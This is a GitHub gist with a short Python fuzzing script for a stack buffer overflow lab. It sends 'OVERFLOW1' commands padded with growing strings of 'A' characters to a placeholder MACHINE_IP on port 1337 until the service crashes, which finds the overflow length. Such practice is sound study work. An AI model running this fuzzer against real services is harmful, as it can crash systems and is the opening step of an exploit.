Created
February 10, 2021 11:14
-
-
Save an0th3rhuman/1db2f50be783b9c9383d0e8ff0277dc1 to your computer and use it in GitHub Desktop.
Stackbuffer overflow
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket, time, sys | |
ip = "MACHINE_IP" | |
port = 1337 | |
timeout = 5 | |
buffer = [] | |
counter = 100 | |
while len(buffer) < 30: | |
buffer.append("A" * counter) | |
counter += 100 | |
for string in buffer: | |
try: | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.settimeout(timeout) | |
connect = s.connect((ip, port)) | |
s.recv(1024) | |
print("Fuzzing with %s bytes" % len(string)) | |
s.send("OVERFLOW1 " + string + "\r\n") # Change the prefix here accordingly | |
s.recv(1024) | |
s.close() | |
except: | |
print("Could not connect to " + ip + ":" + str(port)) | |
sys.exit(0) | |
time.sleep(1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment